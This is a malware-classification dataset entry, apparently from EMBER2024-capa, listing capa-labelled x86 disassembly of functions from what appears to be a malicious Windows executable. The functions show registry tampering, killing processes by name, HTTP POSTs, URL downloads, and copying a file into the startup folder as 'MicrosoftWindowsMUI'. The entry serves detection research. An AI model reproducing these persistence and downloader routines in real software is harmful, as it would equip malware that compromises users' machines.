joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408cce
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x43e080]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [ebp + 0x38], 0
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], edx
lea ecx, [ebp - 0xc]
jne 0x408d46
cmp dword [ebp + 0x1c], 8
push ecx
cmovae eax, dword [ebp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x408d1d
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp - 0xc]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
cmp dword [ebp + 0x34], 8
lea ecx, [ebp - 8]
push 4
push ecx
push 4
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 0
push eax
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
jmp 0x408dac
cmp dword [ebp + 0x1c], 8
cmovae eax, dword [ebp + 8]
xor ebx, ebx
push ebx
push ecx
push ebx
push 0x2011f
push ebx
push ebx
push ebx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x408d88
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp - 0xc]
push ebx
push ecx
push ebx
push ebx
push 0xf013f
push ebx
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ebx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmp dword [ebp + 0x34], 8
lea ecx, [ebp - 8]
push 4
push ecx
push 4
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push ebx
push eax
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x408dac
mov bl, 1
lea ecx, [ebp + 8]
call fcn.0040680e
lea ecx, [ebp + 0x20]
call fcn.0040680e
mov ecx, dword [ebp - 4]
mov al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.0041027a
leave
ret

Function at 0x408ec0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x43e080]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x408f75
push esi
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
lea ecx, [ebp - 0x20c]
cmovae eax, dword [ebp + 8]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x408f34
test dx, dx
je 0x408f30
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x408f34
add ecx, 4
add eax, 4
test dx, dx
jne 0x408f0e
xor eax, eax
jmp 0x408f39
sbb eax, eax
or eax, 1
test eax, eax
jne 0x408f62
push dword [ebp - 0x228]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x408f62
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x408efd
pop esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 8]
call fcn.0040680e
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.0041027a
leave
ret
Function at 0x408f91
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427235
mov eax, dword fs:[0]
push eax
mov eax, 0x825c
call fcn.00411170
mov eax, dword [0x43e080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x8220], ebx
mov dword [ebp - 0x8250], ebx
and dword [ebp - 0x824c], 0
xor ecx, ecx
mov edi, ebx
inc ecx
xor eax, eax
mov dword [ebp - 4], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
mov dword [ebx], edi
mov dword [ebx + 4], edi
mov dword [ebx + 8], edi
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
mov dword [ebp - 0x824c], ecx
lea ecx, [ebp - 0x8248]
cmovae eax, dword [ebp + 8]
push ecx
push 0x20019
push edi
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40913f
mov ax, word [0x433b18]
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push edi
push eax
call fcn.004123e0
add esp, 0xc
mov dword [ebp - 0x8228], 0x104
lea eax, [ebp - 0x8244]
mov dword [ebp - 0x8224], edi
push eax
lea eax, [ebp - 0x822c]
push eax
lea eax, [ebp - 0x8230]
push eax
lea eax, [ebp - 0x8234]
push eax
lea eax, [ebp - 0x821c]
push eax
lea eax, [ebp - 0x8238]
push eax
lea eax, [ebp - 0x823c]
push eax
lea eax, [ebp - 0x8224]
push eax
push edi
lea eax, [ebp - 0x8228]
push eax
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x8248]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [ebp - 0x821c]
test eax, eax
je 0x40913f
mov esi, edi
push edi
push edi
push edi
xor eax, eax
mov dword [ebp - 0x8220], 0x3fff
push edi
mov word [ebp - 0x8218], ax
lea eax, [ebp - 0x8220]
push eax
lea eax, [ebp - 0x8218]
push eax
push esi
push dword [ebp - 0x8248]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x409132
mov word [ebp - 0x8268], ax
lea ecx, [ebp - 0x8268]
lea eax, [ebp - 0x8218]
mov dword [ebp - 0x8258], edi
push eax
mov dword [ebp - 0x8254], 7
call fcn.00406a23
lea eax, [ebp - 0x8268]
mov byte [ebp - 4], 2
push eax
mov ecx, ebx
call fcn.0040649c
lea ecx, [ebp - 0x8268]
mov byte [ebp - 4], 1
call fcn.0040680e
inc esi
cmp esi, dword [ebp - 0x821c]
jb 0x4090b2
push dword [ebp - 0x8248]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp + 8]
call fcn.0040680e
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041027a
leave
ret
Function at 0x40916f
Capabilities:
Delete registry value

Disassembly:
push 0x14
mov eax, 0x427265
call fcn.00410a3c
mov esi, ecx
xor ebx, ebx
lea edi, [ebp - 0x1c]
mov dword [ebp - 4], ebx
xor eax, eax
stosd dword es:[edi], eax
sub esp, 0x18
mov ecx, esp
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp + 8]
push eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00406abf
mov edx, esi
lea ecx, [ebp - 0x1c]
call fcn.00408f91
add esp, 0x18
lea ecx, [ebp - 0x20]
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
sub eax, ecx
push 0x18
cdq
pop edi
idiv edi
test eax, eax
jle 0x4091fd
mov esi, ebx
lea eax, [esi + ecx]
cmp dword [eax + 0x14], 8
jb 0x4091e1
mov eax, dword [eax]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [ebp - 0x18]
inc ebx
mov ecx, dword [ebp - 0x1c]
add esi, edi
sub eax, ecx
cdq
idiv edi
cmp ebx, eax
jl 0x4091d6
lea ecx, [ebp - 0x1c]
call fcn.00406756
lea ecx, [ebp + 8]
call fcn.0040680e
call fcn.004109e6
ret

Function at 0x409213
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0x810
mov eax, 0x4272ac
call fcn.00410a3c
mov esi, edx
mov edi, ecx
mov dword [ebp - 0x818], edi
mov dword [ebp - 0x81c], edi
xor ebx, ebx
mov dword [ebp - 0x814], ebx
xor eax, eax
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], 7
mov word [edi], ax
push 0x800
lea eax, [ebp - 0x810]
mov dword [ebp - 4], ebx
push ebx
push eax
mov dword [ebp - 0x814], 1
call fcn.004123e0
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40928e
lea eax, [ebp - 0x810]
mov ecx, edi
push eax
call fcn.00406a23
mov eax, edi
call fcn.004109e6
ret
Function at 0x409383
Capabilities:
Print debug messages

Disassembly:
push 0x74
mov eax, 0x427342
call fcn.00410a3c
lea eax, [ebp - 0x50]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 7
pop esi
xor eax, eax
mov dword [ebp - 0x58], edi
push str.__02d__02d__04d_t_02d:_02d:_02d:_04d_
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x54], esi
mov word [ebp - 0x68], ax
call fcn.00406a23
push 8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x68]
movzx eax, word [ebp - 0x42]
pop ebx
cmp dword [ebp - 0x54], ebx
push eax
movzx eax, word [ebp - 0x44]
cmovae ecx, dword [ebp - 0x68]
push eax
movzx eax, word [ebp - 0x46]
push eax
movzx eax, word [ebp - 0x48]
push eax
movzx eax, word [ebp - 0x50]
push eax
movzx eax, word [ebp - 0x4e]
push eax
movzx eax, word [ebp - 0x4a]
push eax
push ecx
lea eax, [ebp - 0x28]
push eax
call fcn.00409296
add esp, 0x24
lea ecx, [ebp - 0x68]
call fcn.0040680e
xor eax, eax
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], esi
mov word [ebp - 0x40], ax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x68]
push str._s_t_s_r_n
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x54], esi
mov word [ebp - 0x68], ax
call fcn.00406a23
mov byte [ebp - 4], 5
lea edx, [ebp + 8]
cmp dword [ebp + 0x1c], ebx
lea ecx, [ebp - 0x28]
lea eax, [ebp - 0x68]
cmovae edx, dword [ebp + 8]
cmp dword [ebp - 0x14], ebx
push edx
cmovae ecx, dword [ebp - 0x28]
cmp dword [ebp - 0x54], ebx
push ecx
cmovae eax, dword [ebp - 0x68]
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.00409296
add esp, 0x10
lea ecx, [ebp + 8]
push eax
call fcn.0040663e
lea ecx, [ebp - 0x80]
call fcn.0040680e
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x68]
call fcn.0040680e
lea eax, [ebp + 8]
mov ecx, 0x43e9e0
push eax
call fcn.004076ef
cmp dword [ebp + 0x1c], ebx
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea ecx, [ebp - 0x40]
call fcn.0040680e
lea ecx, [ebp - 0x28]
call fcn.0040680e
lea ecx, [ebp + 8]
call fcn.0040680e
call fcn.004109e6
ret
Function at 0x4097ec
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push 0x42c
mov eax, 0x427449
call fcn.00410a3c
sub esp, 0x18
mov dword [ebp - 4], 2
mov ecx, esp
lea eax, [ebp + 0x38]
xor ebx, ebx
push eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00406abf
lea ecx, [ebp - 0x434]
call fcn.00409755
add esp, 0x18
push ebx
push ebx
push ebx
push 1
push str.jdlnb
call dword [sym.imp.WININET.dll_InternetOpenW]
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp + 8]
mov ebx, eax
cmovae ecx, dword [ebp + 8]
xor eax, eax
push eax
push eax
push 3
push eax
push eax
push 0x50
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp dword [ebp + 0x34], 8
lea ecx, [ebp + 0x20]
mov dword [ebp - 0x438], eax
cmovae ecx, dword [ebp + 0x20]
xor edx, edx
push edx
push SysReAllocStringLen
push edx
push edx
push edx
push ecx
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
push dword [ebp - 0x424]
cmp dword [ebp - 0x420], 0x10
lea ecx, [ebp - 0x434]
mov esi, eax
cmovae ecx, dword [ebp - 0x434]
push ecx
push 0x30
push str.Content_Type:_text_html_nGkjfdshfkjjd:_dsdjdsjdhv
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x4098b3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x401
lea eax, [ebp - 0x418]
push 0
push eax
call fcn.004123e0
add esp, 0xc
jmp 0x4098e4
mov eax, dword [ebp - 0x41c]
test eax, eax
je 0x409909
cmp eax, 0x401
jae 0x409946
mov byte [ebp + eax - 0x418], 0
and dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
push eax
push 0x400
lea eax, [ebp - 0x418]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4098cb
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x438]
call esi
push ebx
call esi
lea ecx, [ebp - 0x434]
call fcn.0040b42f
lea ecx, [ebp + 8]
call fcn.0040680e
lea ecx, [ebp + 0x20]
call fcn.0040680e
lea ecx, [ebp + 0x38]
call fcn.0040680e
call fcn.004109e6
ret
call fcn.00410689
int3

Function at 0x409a62
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x43e080]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov dword [ebp - 0xc], 4
cmp dword [ebp + 0x1c], 8
lea edx, [ebp - 0x10]
lea eax, [ebp + 8]
mov dword [ebp - 8], esi
cmovae eax, dword [ebp + 8]
push edx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
cmp dword [ebp + 0x34], 8
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 8]
push ecx
push esi
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push esi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
lea ecx, [ebp + 8]
cmove esi, dword [ebp - 8]
call fcn.0040680e
lea ecx, [ebp + 0x20]
call fcn.0040680e
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041027a
leave
ret
Function at 0x409ada
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x814
mov eax, 0x4274c9
call fcn.00410a3c
mov esi, edx
mov edi, ecx
mov dword [ebp - 0x818], edi
mov dword [ebp - 0x820], edi
and dword [ebp - 0x81c], 0
push 0x433b18
mov dword [ebp - 4], 2
call fcn.004066a8
mov ebx, 0x400
mov dword [ebp - 0x81c], 1
push ebx
lea eax, [ebp - 0x810]
push 0
push eax
call fcn.004123e0
add esp, 0xc
mov dword [ebp - 0x814], ebx
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp - 0x818]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
cmp dword [ebp + 0x34], 8
lea ecx, [ebp - 0x814]
push ecx
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
lea ecx, [ebp - 0x810]
push ecx
xor ebx, ebx
push ebx
push ebx
push eax
push dword [ebp - 0x818]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x409bc9
mov ax, word [0x433b18]
push 0x3fe
mov word [ebp - 0x410], ax
lea eax, [ebp - 0x40e]
push ebx
push eax
call fcn.004123e0
push dword [ebp - 0x814]
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.004118e0
add esp, 0x18
lea eax, [ebp - 0x410]
mov ecx, edi
push eax
call fcn.00406a23
lea ecx, [ebp + 8]
call fcn.0040680e
lea ecx, [ebp + 0x20]
call fcn.0040680e
mov eax, edi
call fcn.004109e6
ret

Function at 0x409e88
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
mov esi, ebx
cmp dword [ebp + 0x34], 8
lea ecx, [ebp + 0x20]
push ebx
cmovae ecx, dword [ebp + 0x20]
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 8
push ebx
cmovae eax, dword [ebp + 8]
push ecx
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
je 0x409ec9
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 3
jl 0x409e91
jmp 0x409ecb
mov bl, 1
lea ecx, [ebp + 8]
call fcn.0040680e
lea ecx, [ebp + 0x20]
call fcn.0040680e
pop esi
mov al, bl
pop ebx
pop ebp
ret
Function at 0x40a2b9
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x43e080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x48]
cmp dword [ebp + 0x4c], 8
push ebx
push esi
push edi
lea edi, [ebp + 0x38]
mov esi, ecx
cmovae edi, dword [ebp + 0x38]
lea ebx, [eax + eax]
mov dword [ebp - 0xc], ebx
lea eax, [ebp + 8]
lea ecx, [ebp - 8]
test dl, dl
jne 0x40a33d
cmp dword [ebp + 0x1c], 8
push ecx
cmovae eax, dword [ebp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x40a318
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp - 8]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
cmp dword [ebp + 0x34], 8
lea eax, [ebp + 0x20]
push ebx
cmovae eax, dword [ebp + 0x20]
push edi
push 1
push 0
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
jmp 0x40a3a6
cmp dword [ebp + 0x1c], 8
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmovae eax, dword [ebp + 8]
xor edx, edx
push edx
push ecx
push edx
push 0x2011f
push edx
push edx
push edx
push eax
push esi
call ebx
test eax, eax
je 0x40a37f
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
lea ecx, [ebp - 8]
cmovae eax, dword [ebp + 8]
xor edx, edx
push edx
push ecx
push edx
push edx
push 0xf013f
push edx
push edx
push eax
push esi
call ebx
push dword [ebp - 0xc]
cmp dword [ebp + 0x34], 8
lea eax, [ebp + 0x20]
push edi
cmovae eax, dword [ebp + 0x20]
push 1
push 0
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40a3a4
mov bl, 1
jmp 0x40a3a6
xor bl, bl
lea ecx, [ebp + 8]
call fcn.0040680e
lea ecx, [ebp + 0x20]
call fcn.0040680e
lea ecx, [ebp + 0x38]
call fcn.0040680e
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041027a
leave
ret
Function at 0x40a3cf
Capabilities:
Create process on windows

Disassembly:
push 0x90
mov eax, 0x427669
call fcn.00410a3c
mov esi, edx
mov bl, cl
xor eax, eax
mov dword [ebp - 4], 1
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp + 8]
push eax
call fcn.00406abf
mov byte [ebp - 4], 2
cmp dword [ebp + 0x30], 0
je 0x40a43b
lea eax, [ebp + 0x20]
mov edx, 0x437bc8
push eax
lea ecx, [ebp - 0x9c]
call fcn.004070a3
pop ecx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 3
call fcn.004076ef
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 2
call fcn.0040680e
push 0x44
pop edi
push edi
lea eax, [ebp - 0x70]
push 0
push eax
call fcn.004123e0
mov dword [ebp - 0x70], edi
lea ecx, [ebp - 0x80]
xor eax, eax
lea edi, [ebp - 0x80]
stosd dword es:[edi], eax
add esp, 0xc
cmp dword [ebp - 0x18], 8
stosd dword es:[edi], eax
push ecx
lea ecx, [ebp - 0x70]
push ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
xor ecx, ecx
push ecx
push ecx
push 0x8000000
push 1
push ecx
push ecx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40a49c
sub esp, 0x18
mov ecx, esp
push str.StartProcess_failed
call fcn.004066a8
call fcn.00409383
add esp, 0x18
test bl, bl
je 0x40a4d7
push esi
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40a4ca
sub esp, 0x18
mov ecx, esp
push str.Timeout
call fcn.004066a8
call fcn.00409383
add esp, 0x18
jmp 0x40a4d7
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x80]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x7c]
call esi
mov esi, dword [ebp - 0x14]
lea ecx, [ebp - 0x2c]
call fcn.0040680e
lea ecx, [ebp + 8]
call fcn.0040680e
lea ecx, [ebp + 0x20]
call fcn.0040680e
mov eax, esi
call fcn.004109e6
ret
Function at 0x40a52b
Capabilities:
Read file on windows

Disassembly:
push 0x98
mov eax, 0x4276b4
call fcn.00410a3c
mov ebx, edx
mov esi, ecx
lea ecx, [ebp - 0x54]
call fcn.00408c7b
and dword [ebp - 4], 0
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 8
push 0x438cd0
cmovae eax, dword [ebp - 0x54]
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.00415a8b
push 2
push 0xffffffffffffffee
push dword [ebp - 0x88]
call fcn.00415e82
push dword [ebp - 0x88]
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
push 0x12
push 1
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x24]
push eax
call fcn.00416453
push dword [ebp - 0x88]
call fcn.00415b48
and dword [ebp - 0x2c], 0
lea eax, [ebp - 0x24]
add esp, 0x2c
mov dword [ebp - 0x28], 0xf
lea ecx, [ebp - 0x3c]
mov byte [ebp - 0x3c], 0
push eax
call fcn.0040b505
mov byte [ebp - 4], 1
cmp dword [ebp - 0x2c], 0
je 0x40a685
cmp dword [ebp - 0x2c], 0x12
jne 0x40a685
push 0x10
push 0
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040a7f5
push 2
push 0x10
lea eax, [ebp - 0x6c]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040a7f5
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
lea eax, [ebp - 0x84]
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.0040b623
lea ecx, [ebp - 0xa4]
call fcn.00408a49
add esp, 0x18
mov ecx, esi
push eax
call fcn.0040663e
lea ecx, [ebp - 0xa4]
call fcn.0040680e
sub esp, 0x18
lea eax, [ebp - 0x6c]
mov ecx, esp
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.0040b623
lea ecx, [ebp - 0xa4]
call fcn.00408a49
add esp, 0x18
mov ecx, ebx
push eax
call fcn.0040663e
lea ecx, [ebp - 0xa4]
call fcn.0040680e
lea ecx, [ebp - 0x6c]
call fcn.0040b42f
lea ecx, [ebp - 0x84]
call fcn.0040b42f
lea ecx, [ebp - 0x3c]
call fcn.0040b42f
lea ecx, [ebp - 0x54]
call fcn.0040680e
call fcn.004109e6
ret
Function at 0x40e467
Capabilities:
Copy file

Disassembly:
push 0x60
mov eax, 0x427d81
call fcn.00410a3c
sub esp, 0xc
lea ecx, [ebp - 0x58]
mov bl, 1
push 0x1a
pop edx
call fcn.00409213
add esp, 0xc
and dword [ebp - 4], 0
mov ecx, eax
push 0x438ef4
call fcn.00406a98
push eax
lea ecx, [ebp - 0x28]
call fcn.00406675
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 2
call fcn.0040680e
lea ecx, [ebp - 0x40]
call fcn.00408c7b
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x40]
push 0
cmovae ecx, dword [ebp - 0x28]
cmp dword [ebp - 0x2c], 8
push ecx
cmovae eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40e592
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ax, word [ebp - 0x48]
cmp ax, 0x17
jne 0x40e4f7
xor eax, eax
jmp 0x40e4f9
inc ax
sub esp, 0x18
mov word [ebp - 0x48], ax
mov ecx, esp
mov dword [ebp - 0x5c], esp
push 0x433b18
call fcn.004066a8
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
mov dword [ebp - 0x60], esp
push str.MicrosoftWindowsMUI
call fcn.004066a8
sub esp, 0x18
mov byte [ebp - 4], 5
mov ecx, esp
mov dword [ebp - 0x64], esp
push 0x438f54
call fcn.004066a8
sub esp, 0x10
mov byte [ebp - 4], 6
mov edi, esp
lea esi, [ebp - 0x50]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x68], esp
movsd dword es:[edi], dword [esi]
push 0x438f58
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.004066a8
sub esp, 0x18
mov byte [ebp - 4], 7
mov ecx, esp
lea eax, [ebp - 0x28]
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.00406abf
xor cl, cl
mov byte [ebp - 4], 3
call fcn.0040cae5
xor ecx, ecx
movzx ebx, bl
add esp, 0x88
test al, al
cmove ebx, ecx
lea ecx, [ebp - 0x40]
call fcn.0040680e
lea ecx, [ebp - 0x28]
call fcn.0040680e
mov al, bl
call fcn.004109e6
ret
Function at 0x41bf14
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041bd93
Function at 0x401000
Capabilities:
Hash data using sha256

Disassembly:
mov eax, 0x74
call fcn.004032b0
mov eax, dword [0x41c014]
xor eax, esp
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x80]
push esi
mov esi, dword [esp + 0x7c]
push edi
test eax, eax
mov edi, 0x41c91c
push 0x70
cmovne edi, eax
lea eax, [esp + 0xc]
push 0
push eax
call fcn.004042a0
push dword [esp + 0x90]
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x20], 0x6a09e667
mov dword [esp + 0x24], 0xbb67ae85
mov dword [esp + 0x28], 0x3c6ef372
mov dword [esp + 0x2c], 0xa54ff53a
mov dword [esp + 0x30], 0x510e527f
mov dword [esp + 0x34], 0x9b05688c
mov dword [esp + 0x38], 0x1f83d9ab
mov dword [esp + 0x3c], 0x5be0cd19
mov dword [esp + 0x8c], 0x20
call fcn.004013b0
lea eax, [esp + 0x20]
push eax
push edi
call fcn.004010d0
lea eax, [esp + 0x28]
push 0x70
push eax
call fcn.00402580
mov ecx, dword [esp + 0xa0]
add esp, 0x28
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.0040304c
add esp, 0x74
ret